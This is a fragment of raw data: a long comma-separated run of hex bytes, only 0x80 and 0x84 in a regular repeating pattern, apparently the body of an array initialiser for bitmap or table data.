0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 